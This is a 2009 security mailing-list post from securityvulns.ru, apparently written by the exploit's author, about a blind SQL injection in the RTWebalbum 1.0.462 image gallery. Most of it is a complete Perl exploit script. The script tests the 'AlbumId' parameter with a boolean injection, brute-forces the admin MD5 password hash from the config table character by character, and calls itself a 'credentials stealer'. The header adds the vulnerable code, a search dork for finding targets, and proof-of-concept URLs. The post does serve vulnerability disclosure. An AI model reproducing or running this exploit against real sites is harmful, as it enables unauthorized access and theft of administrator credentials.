Computer Security
[EN] securityvulns.ru
no-pyccku



Related information

  Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

  TinyWebGallery <= 1.7.6 LFI / Remote Code Execution Exploit

  Vpopmail/QmailAdmin User's Quota Multiple Integer Overflows

  Claroline v.1.8.11 Cross-Site Scripting

From:y3nh4ck3r_(at)_gmail.com <y3nh4ck3r_(at)_gmail.com>
Date:11.05.2009
Subject:BLIND SQL INJECTION exploit (GET var 'AlbumID')--RTWebalbum 1.0.462-->

#!/usr/bin/perl
#-----------------------------------------------------------------
#BLIND SQL INJECTION (GET var 'AlbumID')--RTWebalbum 1.0.462-->
#-----------------------------------------------------------------
#
#CMS INFORMATION:
#
#-->WEB: http://rtwebalbum.x12.pl/
#-->DOWNLOAD: http://sourceforge.net/projects/rtwebalbum/
#-->DEMO: http://rtwebalbum.x12.pl/
#-->CATEGORY: CMS / Image Gallery
#-->DESCRIPTION: Free web album scripts in PHP. Include administration panel to easy
#               manage content of album. If you decide to use this web...
#
#CMS VULNERABILITY:
#
#-->TESTED ON: firefox 3
#-->DORK: "2007 Rafal Kucharski"
#-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT
#-->AFFECT VERSION: v1.0.462 (maybe <= ?)
#-->Discovered Bug date: 2009-05-04
#-->Reported Bug date: 2009-05-04
#-->Fixed bug date: 2009-05-06
#-->Info patch (1.0.574): http://sourceforge.net/projects/rtwebalbum  
#-->Author: YEnH4ckEr
#-->mail: y3nh4ck3r[at]gmail[dot]com
#-->WEB/BLOG: N/A
#-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.
#-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)
#
#
#-----------
#BUG FILES:
#-----------
#
#Path --> [HOME_PATH]/index.php
#It contents:
#       ...
#
#       if (!isset($_GET['AlbumId'])) {
#               $AlbumId = 0;
#       } else {
#               $AlbumId = $_GET['AlbumId'];
#       }
#
#       ...
#
#
#if ($AlbumId <> 0){
#
#       $picArr = array();
#       $query = "SELECT * FROM pictures WHERE AlbumID=".$AlbumId." order by ID";
#       $result=mysql_query($query);
#
#       ...
#}      
#------------
#CONDITIONS:
#------------
#
#
#**Exist a valid image with title
#
#**gpc_magic_quotes=off/on
#
#---------------------------------------
#PROOF OF CONCEPT (BLIND SQL INJECTION):
#---------------------------------------
#
#http://[HOST]/[HOME_PATH]/index.php?AlbumId=3+AND+1=1%23 --> title is displayed (true)
#
#http://[HOST]/[HOME_PATH]/index.php?AlbumId=3+AND+1=0%23 --> title is not displayed (false)
#
#
#######################################################################
#######################################################################
##*******************************************************************##
##             SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k ...         ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
##              GREETZ TO: SPANISH H4ck3Rs community!                ##
##*******************************************************************##
#######################################################################
#######################################################################
#
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
       my $SO = $^O;
       my $linux = "";
       if (index(lc($SO),"win")!=-1){
               $linux="0";
       }else{
               $linux="1";
       }               
       if($linux){
               system("clear");
       }
       else{
               system("cls");
               system ("title RTWebalbum v1.0.462 (GET var 'AlbumID') BLIND SQL Injection Exploit");
               system ("color 03");
       }
}
sub request {
       my $userag = LWP::UserAgent->new;
       $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
       my $request = HTTP::Request -> new(GET => $_[0]);
       my $outcode= $userag->request($request)->as_string;
       return $outcode;
}
sub helper {
       print "\n\t[XxX] RTWebalbum v1.0.462 (GET var 'AlbumID') BLIND SQL Injection Exploit\n";
       print "\t[XxX] USAGE MODE: [XxX]\n";
       print "\t[XxX] perl $0 [HOST] [PATH] [AlbumID]\n";
       print "\t[XxX] [HOST]: Web.\n";
       print "\t[XxX] [PATH]: Home Path. Not path: no-path\n";
       print "\t[XxX] [AlbumID]: Valid AlbumID.\n";
       print "\t[XxX] Example: perl $0 'www.example.es' 'rtwebalbum' '1'\n";
}
sub error {
       print "\t-----------------------------------------------------------------
\n";
       print "\tWEB IS NOT VULNERABLE!\n";
       print "\tMaybe --> \n";
       print "\t1.-Patched\n";
       print "\t2.-AlbumID doesn't exist\n";
       print "\t3.-AlbumID hasn't available image\n";
       print "\t4.-output needs more characters\n";
       print "\tEXPLOIT FAILED!\n";
       print "\t-----------------------------------------------------------------
\n";
}
sub testedblindsql {
       print "\t-----------------------------------------------------------------
\n";
       print "\tWEB IS VULNERABLE!\n";
       print "\tTested Blind SQL Injection.\n";                
       print "\tStarting exploit...\n";
       print "\t-----------------------------------------------------------------
\n";
}
sub password {
#Finally password...md5= 32-digits
$k=1;
       $z=48;
       while(($k<=32) && ($z<=126)){
               my $blindsql=$_[0].
'+AND+ascii(substring((SELECT+password+FROM+config),'.$k.
',1))='.$z.'%23';
               $output=&request($blindsql);
               if ( $output =~ (/\<div id=\"descrp\">([a-zA-Z0-
9\s]+)\<\/div\>/))
               {
                       $pass=$pass.chr($z);
                       $k++;
                       $z=47;
               }
       if($z==57)
       {
               $z=96;
       }
#new char
       $z++;
       }
return $pass;
}
#Main
&lw;
       print "\t\t#########################################################\n
\n";
       print "\t\t#########################################################\n
\n";
       print "\t\t##  RTWebalbum v1.0.462 - BLIND SQL Injection Exploit  ##\n\n";
       print "\t\t##                  Author: Y3nh4ck3r                  ##\n\n";
       print "\t\t##         Contact:y3nh4ck3r[at]gmail[dot]com          ##\n\n";
       print "\t\t##                  Proud to be Spanish!               ##\n\n";
       print "\t\t#########################################################\n
\n";
       print "\t\t#########################################################\n
\n";
#Init variables
       my $host=$ARGV[0];
       my $path=$ARGV[1];      
       my $AlbumID=$ARGV[2];
#Build the uri
       if($path eq "no-path"){
               $finalhost="http://".$host."/index.
php?AlbumId=".$AlbumID;
       }else{
               $finalhost="http://".$host."/".$path.
"/index.php?AlbumId=".$AlbumID;
       }
#Check all variables needed
$numArgs = $#ARGV + 1;
       if($numArgs<=2)
       {
               &helper;
               exit(1);        
       }
$finalrequest = $finalhost;     
#Testing blind sql injection
$blindsql=$finalrequest."+AND+1=1%23"; #blind sql injection
$output=&request($blindsql);
if ( $output =~ (/\<div id=\"descrp\">([a-zA-Z0-
9\s]+)\<\/div\>/))
{    
       #blind sql injection is available
       &testedblindsql;
}else{
       #Not injectable
       &error;
       exit(1);
}       
#Bruteforcing password...
$passhash=&password($finalrequest);
print "\n\t\t*************************************************\n"
;
print "\t\t****  EXPLOIT EXECUTED (CREDENTIALS STEALER) ****\n";
print "\t\t*************************************************\n\n"
;
print "\t\tAdmin: admin (always)\n";
print "\t\tAdmin-password(md5 hash):".$passhash."\n\n";
print "\n\t\t<<----------------------FINISH!--------------------
>>\n\n";
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF----------------------
>>\n\n";
exit(1);
#Ok...all job done

About | Terms of use | Privacy Policy
© SecurityVulns, 3APA3A, Vladimir Dubrovin
Nizhny Novgorod

 
 



Rating@Mail.ru
test server